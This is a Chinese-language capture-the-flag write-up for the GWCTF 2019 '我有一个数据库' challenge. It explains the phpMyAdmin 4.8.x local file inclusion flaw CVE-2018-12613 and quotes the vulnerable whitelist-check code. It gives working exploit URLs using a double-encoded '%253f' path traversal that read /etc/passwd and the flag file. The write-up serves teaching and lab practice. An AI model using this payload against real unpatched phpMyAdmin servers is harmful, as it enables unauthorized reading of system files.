GWCTF 2019 我有一个数据库 1题解
前置知识
phpmyadmin漏洞
phpadmin
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。
漏洞描述
攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。
攻击者必须经过身份验证,但在这些情况下除外:
$ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
$ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。
影响版本:phpMyAdmin 4.8.0和4.8.1
漏洞分析
摘自:CVE-2018-12613复现
漏洞问题出在index.php的第55行开始位置:
1.target参数没有过滤,并且直接include,很显然是LFI的前奏
2.第57行限制 target 参数不能以index开头
3.第58行限制 target 参数不能出现在 $target_blacklist 内
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
$target_blacklist 的定义:在 /index.php 的第50行,只要 target 参数不是import.php 或 export.php 就行
$target_blacklist = array (
'import.php', 'export.php'
);
最后一个限制方法,phpMyAdmin/libraries/classes/core.php,找到Core类的checkPageValidity方法
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
问题出现在第 465 行的urldecode() 我们可以利用这个函数绕过白名单检测,只要把 ? 两次url编码为 %253f 即可绕过验证。
题目详解
打开题目,发现一串看不懂的文字,扫描目录发现phpadmin,尝试访问,访问成功。发现phpmyadmin的版本是4.8.1。
百度发现该版本下的漏洞CVE-2018-12613。
构造:(../的数量是一个一个试的)
http://35eb61ad-0999-4fc5-8077-aeeefcf7b5c9.node4.buuoj.cn:81/phpmyadmin/?target=db_datadict.php%253f../../../../../../etc/passwd
回显:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
最后直接构造
http://35eb61ad-0999-4fc5-8077-aeeefcf7b5c9.node4.buuoj.cn:81/phpmyadmin/?target=db_datadict.php%253f../../../../../../flag
回显:flag{4a5bc39b-5683-45b4-86d6-e43b58bfe1a2}
得到flag:flag{4a5bc39b-5683-45b4-86d6-e43b58bfe1a2}
参考:
https://blog.csdn.net/weixin_43872099/article/details/104128639
https://blog.csdn.net/weixin_43872099/article/details/104128639
http://sunu11.com/2018/07/25/22/
https://www.cnblogs.com/buchuo/p/12784408.html